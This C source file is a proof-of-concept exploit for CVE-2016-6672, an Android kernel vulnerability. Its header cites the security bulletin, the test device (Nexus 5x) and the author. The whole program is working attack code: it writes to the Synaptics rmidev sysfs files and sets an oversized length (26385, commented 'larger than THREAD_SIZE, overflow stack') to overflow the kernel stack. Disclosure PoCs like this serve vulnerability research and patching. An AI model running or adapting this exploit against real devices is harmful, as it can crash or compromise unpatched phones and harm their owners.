/* 
 * https://source.android.com/security/bulletin/2016-10-01.html, CVE-2016-6672
 * https://code.google.com/p/android/issues/detail?id=218891
 *
 * the poc was tested on nexus 5x with fingerprint : 
 * google/bullhead/bullhead:6.0.1/MTC19Z/2996059:user/release-keys
 *
 * Author: Gengjia Chen(chengjia4574@gmail.com)
 * Time:　20161012
*/

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

char* rmidev_sysfs_path = "/sys/devices/soc.0/f9924000.i2c/i2c-2/2-0020/input/input0/rmidev";

int do_write(int fd, char* buf, int size)
{
	int ret = -1;
	ret = write(fd, buf, size);
	if(ret<0) {
		printf("write fail %s\n",strerror(errno));
	} else printf("succ write %d byte\n",ret);
	return 0;
}

int set_address()
{
	int fd;
	char address_file[256];
	char buf[256] = {0};
	sprintf(address_file, "%s/address",rmidev_sysfs_path);

	printf("%s\n", __func__); 

	fd = open(address_file, O_WRONLY);
	if(fd < 0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",rmidev_sysfs_path);

	sprintf(buf, "%u", 0);

	do_write(fd, buf, sizeof(uint32_t));

	close(fd);

	return 0;
}

int set_length()
{
	int fd;
	char length_file[256];
	char buf[256] = {0};
	sprintf(length_file, "%s/length",rmidev_sysfs_path);

	printf("%s\n", __func__); 

	fd = open(length_file, O_WRONLY);
	if(fd < 0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",rmidev_sysfs_path);

	sprintf(buf, "%u", 26385); // larger than THREAD_SIZE, overflow stack

	do_write(fd, buf, 16);

	close(fd);

	return 0;
}

int write_data()
{
	int fd;
	int ret;
	char buf[0xffff] = {0};
	char data_file[256];
	sprintf(data_file, "%s/data",rmidev_sysfs_path);

	printf("%s\n", __func__); 

	fd = open(data_file, O_WRONLY);
	if(fd < 0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",rmidev_sysfs_path);

	sprintf(buf, "%u", 0);

	do_write(fd, buf, sizeof(uint32_t));

	close(fd);

	return 0;
}

	int
main(int argc, char *argv[])
{
	set_address();
	set_length();
	write_data();

	return 0;
}
